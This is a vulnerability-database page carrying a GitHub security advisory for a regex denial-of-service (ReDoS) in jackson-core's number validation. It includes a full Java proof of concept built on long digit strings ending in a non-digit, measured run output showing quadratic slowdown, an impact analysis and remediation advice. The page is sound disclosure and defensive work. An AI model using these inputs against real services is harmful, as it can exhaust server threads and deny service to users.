GHSA-P6PP-M3F8-5C89
Vulnerability from github – Published: 2026-10-01 15:19 – Updated: 2026-10-01 15:19Status
FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost
exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000
characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical
HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/io/NumberInput.java(PATTERN_FLOATline ~41-42,PATTERN_FLOAT_TRAILING_DOTline ~51, entry pointlooksLikeValidNumber()lines ~646-656)
Technical Analysis
private final static Pattern PATTERN_FLOAT = Pattern.compile(
"[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");
private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
"[+-]?[0-9]+[\\.]");
public static boolean looksLikeValidNumber(final String s) {
// ... short-circuits only for null/empty/length==1 ...
return PATTERN_FLOAT.matcher(s).matches()
|| PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}
PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class:
[0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's
backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here,
so on a non-matching input the engine must explore every possible split point between the
[0-9]* and [0-9]+ groups before concluding failure — the classic quadratic-backtracking
shape. looksLikeValidNumber() compounds the cost by running a second full-string regex
(PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor
without changing the asymptotic class.
Critically, the length gate that applies to this specific path is
StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength
(default 1,000) — the length ceiling the library uses everywhere else for numeric content.
This means inputs up to four orders of magnitude larger than the library's own numeric-length
policy reach this quadratic regex unmodified.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS
Full PoC Source (poc/PoC8_NumberInputReDoS.java)
import com.fasterxml.jackson.core.io.NumberInput;
public class PoC8_NumberInputReDoS {
public static void main(String[] args) {
int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
long[] timesMs = new long[sizes.length];
System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");
for (int i = 0; i < sizes.length; i++) {
int n = sizes[i];
String s = repeat('1', n) + "x";
if (i == 0) {
NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
}
long t0 = System.nanoTime();
boolean result = NumberInput.looksLikeValidNumber(s);
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
timesMs[i] = elapsedMs;
System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
}
System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
boolean quadraticSignatureObserved = false;
for (int i = 1; i < sizes.length; i++) {
double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n",
sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
if (ratio >= 3.0) quadraticSignatureObserved = true;
}
System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
+ " ms for a single call from ONE HTTP-body-sized string.");
System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
+ "governs this path, not maxNumberLength (1,000).");
if (quadraticSignatureObserved) {
System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
+ "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
}
}
static String repeat(char c, int n) {
char[] arr = new char[n];
java.util.Arrays.fill(arr, c);
return new String(arr);
}
}
Captured Evidence (actual run output)
Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:
n=5000 looksLikeValidNumber=false elapsed= 74 ms
n=10000 looksLikeValidNumber=false elapsed= 306 ms
n=20000 looksLikeValidNumber=false elapsed= 1157 ms
n=40000 looksLikeValidNumber=false elapsed= 4655 ms
n=80000 looksLikeValidNumber=false elapsed= 18592 ms
n=160000 looksLikeValidNumber=false elapsed= 74393 ms
Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x)
n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x)
n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x)
n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x)
n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)
Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.
=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.
This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call.
Impact
Any application that coerces a String-typed JSON field to a number (default jackson-databind
behavior) is exposed: an attacker who can submit a large numeric-looking string (up to
maxStringLength's default of 20,000,000 characters — far larger than needed given the
measured curve) can pin a request-handling thread for an extended period with a single request.
Because the cost scales quadratically, a handful of concurrent moderately-sized requests
(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread
pool, denying service to all users.
Remediation
- Rewrite
PATTERN_FLOATwithout quantifier ambiguity using possessive quantifiers, e.g.[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the trailing-dot case and removes the need for a second full-string scan. - Better: replace the regex entirely with a single-pass hand-written character scan — the same
file already contains exactly this pattern for
parseInt, so the library has both the precedent and the code style available. - Apply an independent length limit (
maxNumberLength, not the much largermaxStringLength) before callinglooksLikeValidNumber(), closing the four-orders-of- magnitude gap between the two constraints for this specific code path. - Operationally, until fixed: tighten
StreamReadConstraints.maxStringLengthwell below its default, and set wall-clock timeouts on parse/coercion operations.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.10"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.0"
},
{
"fixed": "2.18.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.6"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.22.2"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.6"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.1"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-89407"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:19:21Z",
"nvd_published_at": "2026-09-22T15:17:21Z",
"severity": "HIGH"
},
"details": "## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 \u2192 160,000\ncharacters), confirming O(n\u00b2) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n // ... short-circuits only for null/empty/length==1 ...\n return PATTERN_FLOAT.matcher(s).matches()\n || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java\u0027s\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure \u2014 the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) \u2014 the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library\u0027s own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n public static void main(String[] args) {\n int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n long[] timesMs = new long[sizes.length];\n\n System.out.println(\"Timing NumberInput.looksLikeValidNumber(\u003cn ones\u003e + \u0027x\u0027) for growing n:\\n\");\n\n for (int i = 0; i \u003c sizes.length; i++) {\n int n = sizes[i];\n String s = repeat(\u00271\u0027, n) + \"x\";\n\n if (i == 0) {\n NumberInput.looksLikeValidNumber(repeat(\u00271\u0027, 200) + \"x\"); // warm up\n }\n\n long t0 = System.nanoTime();\n boolean result = NumberInput.looksLikeValidNumber(s);\n long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n timesMs[i] = elapsedMs;\n\n System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n }\n\n System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n boolean quadraticSignatureObserved = false;\n for (int i = 1; i \u003c sizes.length; i++) {\n double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n System.out.printf(\" n=%d -\u003e n=%d : %dms -\u003e %dms (ratio=%.2fx)%n\",\n sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n if (ratio \u003e= 3.0) quadraticSignatureObserved = true;\n }\n\n System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n + \" ms for a single call from ONE HTTP-body-sized string.\");\n System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n + \"governs this path, not maxNumberLength (1,000).\");\n\n if (quadraticSignatureObserved) {\n System.out.println(\"\\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent \"\n + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n }\n }\n\n static String repeat(char c, int n) {\n char[] arr = new char[n];\n java.util.Arrays.fill(arr, c);\n return new String(arr);\n }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(\u003cn ones\u003e + \u0027x\u0027) for growing n:\n\nn=5000 looksLikeValidNumber=false elapsed= 74 ms\nn=10000 looksLikeValidNumber=false elapsed= 306 ms\nn=20000 looksLikeValidNumber=false elapsed= 1157 ms\nn=40000 looksLikeValidNumber=false elapsed= 4655 ms\nn=80000 looksLikeValidNumber=false elapsed= 18592 ms\nn=160000 looksLikeValidNumber=false elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n n=5000 -\u003e n=10000 : 74ms -\u003e 306ms (ratio=4.14x)\n n=10000 -\u003e n=20000 : 306ms -\u003e 1157ms (ratio=3.78x)\n n=20000 -\u003e n=40000 : 1157ms -\u003e 4655ms (ratio=4.02x)\n n=40000 -\u003e n=80000 : 4655ms -\u003e 18592ms (ratio=3.99x)\n n=80000 -\u003e n=160000 : 18592ms -\u003e 74393ms (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x \u2014 matching the theoretical O(n\u00b2) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`\u0027s default of 20,000,000 characters \u2014 far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server\u0027s worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan \u2014 the same\n file already contains exactly this pattern for `parseInt`, so the library has both the\n precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n default, and set wall-clock timeouts on parse/coercion operations.",
"id": "GHSA-p6pp-m3f8-5c89",
"modified": "2026-10-01T15:19:22Z",
"published": "2026-10-01T15:19:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89407"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/issues/1649"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1650"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1701"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": " jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.